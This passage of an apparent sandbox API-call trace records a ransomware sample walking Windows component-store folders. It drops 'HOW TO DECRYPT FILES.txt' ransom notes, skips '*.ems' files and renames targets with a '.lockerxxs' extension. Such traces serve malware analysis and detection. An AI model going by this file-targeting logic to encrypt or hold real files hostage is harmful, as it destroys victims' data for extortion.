"c:\\windows\\winsxs\\amd64_netfx-aspnet_pg_persnlization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_454c741475b5380e\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.335] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.335] CloseHandle (hObject=0xffffffff) returned 0 [0165.335] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_pg_persnlization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_454c741475b5380e\\", lpString2="InstallProfile.SQL" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_pg_persnlization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_454c741475b5380e\\InstallProfile.SQL") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_pg_persnlization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_454c741475b5380e\\InstallProfile.SQL" [0165.335] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_pg_persnlization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_454c741475b5380e\\InstallProfile.SQL", pszSpec="*.ems") returned 0 [0165.335] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_pg_persnlization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_454c741475b5380e\\InstallProfile.SQL" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_pg_persnlization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_454c741475b5380e\\InstallProfile.SQL") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_pg_persnlization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_454c741475b5380e\\InstallProfile.SQL" [0165.336] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_pg_persnlization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_454c741475b5380e\\InstallProfile.SQL" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_pg_persnlization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_454c741475b5380e\\InstallProfile.SQL") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_pg_persnlization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_454c741475b5380e\\InstallProfile.SQL" [0165.336] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_pg_persnlization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_454c741475b5380e\\InstallProfile.SQL", lpString2="." | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_pg_persnlization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_454c741475b5380e\\InstallProfile.SQL.") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_pg_persnlization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_454c741475b5380e\\InstallProfile.SQL." [0165.336] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_pg_persnlization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_454c741475b5380e\\InstallProfile.SQL.", lpString2="lockerxxs" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_pg_persnlization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_454c741475b5380e\\InstallProfile.SQL.lockerxxs") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_pg_persnlization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_454c741475b5380e\\InstallProfile.SQL.lockerxxs" [0165.336] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_pg_persnlization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_454c741475b5380e\\InstallProfile.SQL" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_pg_persnlization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_454c741475b5380e\\installprofile.sql"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.336] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe4c95be, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xbe4c95be, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xa5623367, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x1298, dwReserved0=0x0, dwReserved1=0x0, cFileName="UnInstallProfile.SQL", cAlternateFileName="UNINST~1.SQL")) returned 1 [0165.336] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.336] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="UnInstallProfile.SQL") returned -1 [0165.336] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="UnInstallProfile.SQL") returned -1 [0165.336] lstrcmpiA (lpString1="", lpString2="UnInstallProfile.SQL") returned -1 [0165.336] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_pg_persnlization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_454c741475b5380e\\InstallProfile.SQL") returned="InstallProfile.SQL" [0165.336] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_pg_persnlization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_454c741475b5380e\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_pg_persnlization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_454c741475b5380e\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_pg_persnlization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_454c741475b5380e\\" [0165.336] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_pg_persnlization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_454c741475b5380e\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_pg_persnlization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_454c741475b5380e\\") returned="" [0165.336] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_pg_persnlization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_454c741475b5380e\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_pg_persnlization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_454c741475b5380e\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_pg_persnlization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_454c741475b5380e\\HOW TO DECRYPT FILES.txt" [0165.336] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_pg_persnlization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_454c741475b5380e\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_pg_persnlization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_454c741475b5380e\\how to decrypt files.txt")) returned 0xffffffff [0165.336] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_pg_persnlization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_454c741475b5380e\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_pg_persnlization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_454c741475b5380e\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.337] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.337] CloseHandle (hObject=0xffffffff) returned 0 [0165.337] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_pg_persnlization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_454c741475b5380e\\", lpString2="UnInstallProfile.SQL" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_pg_persnlization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_454c741475b5380e\\UnInstallProfile.SQL") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_pg_persnlization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_454c741475b5380e\\UnInstallProfile.SQL" [0165.337] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_pg_persnlization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_454c741475b5380e\\UnInstallProfile.SQL", pszSpec="*.ems") returned 0 [0165.337] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_pg_persnlization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_454c741475b5380e\\UnInstallProfile.SQL" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_pg_persnlization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_454c741475b5380e\\UnInstallProfile.SQL") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_pg_persnlization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_454c741475b5380e\\UnInstallProfile.SQL" [0165.337] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_pg_persnlization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_454c741475b5380e\\UnInstallProfile.SQL" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_pg_persnlization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_454c741475b5380e\\UnInstallProfile.SQL") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_pg_persnlization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_454c741475b5380e\\UnInstallProfile.SQL" [0165.337] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_pg_persnlization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_454c741475b5380e\\UnInstallProfile.SQL", lpString2="." | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_pg_persnlization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_454c741475b5380e\\UnInstallProfile.SQL.") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_pg_persnlization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_454c741475b5380e\\UnInstallProfile.SQL." [0165.337] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_pg_persnlization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_454c741475b5380e\\UnInstallProfile.SQL.", lpString2="lockerxxs" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_pg_persnlization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_454c741475b5380e\\UnInstallProfile.SQL.lockerxxs") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_pg_persnlization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_454c741475b5380e\\UnInstallProfile.SQL.lockerxxs" [0165.337] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_pg_persnlization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_454c741475b5380e\\UnInstallProfile.SQL" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_pg_persnlization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_454c741475b5380e\\uninstallprofile.sql"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.338] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe4c95be, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xbe4c95be, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xa5623367, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x1298, dwReserved0=0x0, dwReserved1=0x0, cFileName="UnInstallProfile.SQL", cAlternateFileName="UNINST~1.SQL")) returned 0 [0165.338] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0165.339] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1121f19a, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1121f19a, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x1121f19a, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f493f, dwReserved1=0xc000408, cFileName="amd64_netfx-aspnet_rc_dll_res_b03f5f7f11d50a3a_6.1.7600.16385_none_bcf3f593a5955958", cAlternateFileName="AM5EE3~1.163")) returned 1 [0165.339] lstrcmpA (lpString1=".", lpString2="amd64_netfx-aspnet_rc_dll_res_b03f5f7f11d50a3a_6.1.7600.16385_none_bcf3f593a5955958") returned -1 [0165.339] lstrcmpA (lpString1="..", lpString2="amd64_netfx-aspnet_rc_dll_res_b03f5f7f11d50a3a_6.1.7600.16385_none_bcf3f593a5955958") returned -1 [0165.339] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\*.*") returned="*.*" [0165.339] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\", lpString2="amd64_netfx-aspnet_rc_dll_res_b03f5f7f11d50a3a_6.1.7600.16385_none_bcf3f593a5955958" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_rc_dll_res_b03f5f7f11d50a3a_6.1.7600.16385_none_bcf3f593a5955958") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_rc_dll_res_b03f5f7f11d50a3a_6.1.7600.16385_none_bcf3f593a5955958" [0165.339] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_rc_dll_res_b03f5f7f11d50a3a_6.1.7600.16385_none_bcf3f593a5955958\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1121f19a, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1121f19a, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x1121f19a, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0165.339] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0165.340] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1121f19a, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1121f19a, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x1121f19a, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.340] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0165.340] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0165.340] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3f0e70c, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb3f0e70c, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x9618ebbf, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x13b50, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="aspnet_rc.dll", cAlternateFileName="ASPNET~1.DLL")) returned 1 [0165.340] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.342] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="aspnet_rc.dll") returned 1 [0165.342] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="aspnet_rc.dll") returned 1 [0165.342] lstrcmpiA (lpString1="", lpString2="aspnet_rc.dll") returned -1 [0165.342] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_rc_dll_res_b03f5f7f11d50a3a_6.1.7600.16385_none_bcf3f593a5955958\\*.*") returned="*.*" [0165.342] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_rc_dll_res_b03f5f7f11d50a3a_6.1.7600.16385_none_bcf3f593a5955958\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_rc_dll_res_b03f5f7f11d50a3a_6.1.7600.16385_none_bcf3f593a5955958\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_rc_dll_res_b03f5f7f11d50a3a_6.1.7600.16385_none_bcf3f593a5955958\\" [0165.343] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_rc_dll_res_b03f5f7f11d50a3a_6.1.7600.16385_none_bcf3f593a5955958\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_rc_dll_res_b03f5f7f11d50a3a_6.1.7600.16385_none_bcf3f593a5955958\\") returned="" [0165.343] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_rc_dll_res_b03f5f7f11d50a3a_6.1.7600.16385_none_bcf3f593a5955958\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_rc_dll_res_b03f5f7f11d50a3a_6.1.7600.16385_none_bcf3f593a5955958\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_rc_dll_res_b03f5f7f11d50a3a_6.1.7600.16385_none_bcf3f593a5955958\\HOW TO DECRYPT FILES.txt" [0165.343] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_rc_dll_res_b03f5f7f11d50a3a_6.1.7600.16385_none_bcf3f593a5955958\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_rc_dll_res_b03f5f7f11d50a3a_6.1.7600.16385_none_bcf3f593a5955958\\how to decrypt files.txt")) returned 0xffffffff [0165.343] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_rc_dll_res_b03f5f7f11d50a3a_6.1.7600.16385_none_bcf3f593a5955958\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_rc_dll_res_b03f5f7f11d50a3a_6.1.7600.16385_none_bcf3f593a5955958\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.343] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.343] CloseHandle (hObject=0xffffffff) returned 0 [0165.343] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_rc_dll_res_b03f5f7f11d50a3a_6.1.7600.16385_none_bcf3f593a5955958\\", lpString2="aspnet_rc.dll" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_rc_dll_res_b03f5f7f11d50a3a_6.1.7600.16385_none_bcf3f593a5955958\\aspnet_rc.dll") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_rc_dll_res_b03f5f7f11d50a3a_6.1.7600.16385_none_bcf3f593a5955958\\aspnet_rc.dll" [0165.343] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_rc_dll_res_b03f5f7f11d50a3a_6.1.7600.16385_none_bcf3f593a5955958\\aspnet_rc.dll", pszSpec="*.ems") returned 0 [0165.344] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3f0e70c, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb3f0e70c, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x9618ebbf, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x13b50, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="aspnet_rc.dll", cAlternateFileName="ASPNET~1.DLL")) returned 0 [0165.344] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0165.344] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1121f19a, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1126b44e, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x1126b44e, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f", cAlternateFileName="AMB04A~1.163")) returned 1 [0165.344] lstrcmpA (lpString1=".", lpString2="amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f") returned -1 [0165.344] lstrcmpA (lpString1="..", lpString2="amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f") returned -1 [0165.344] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\*.*") returned="*.*" [0165.344] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\", lpString2="amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f" [0165.344] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1121f19a, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1126b44e, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x1126b44e, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0165.347] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0165.347] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1121f19a, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1126b44e, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x1126b44e, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.347] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0165.348] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0165.348] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf148842, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xbf148842, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x968ff01b, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x1683, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="avantgo.browser", cAlternateFileName="AVANTG~1.BRO")) returned 1 [0165.348] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.348] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="avantgo.browser") returned 1 [0165.348] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="avantgo.browser") returned 1 [0165.348] lstrcmpiA (lpString1="", lpString2="avantgo.browser") returned -1 [0165.348] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\*.*") returned="*.*" [0165.348] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\" [0165.348] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\") returned="" [0165.348] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt" [0165.348] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\how to decrypt files.txt")) returned 0xffffffff [0165.348] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.349] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.349] CloseHandle (hObject=0xffffffff) returned 0 [0165.349] lstrcatA (in: 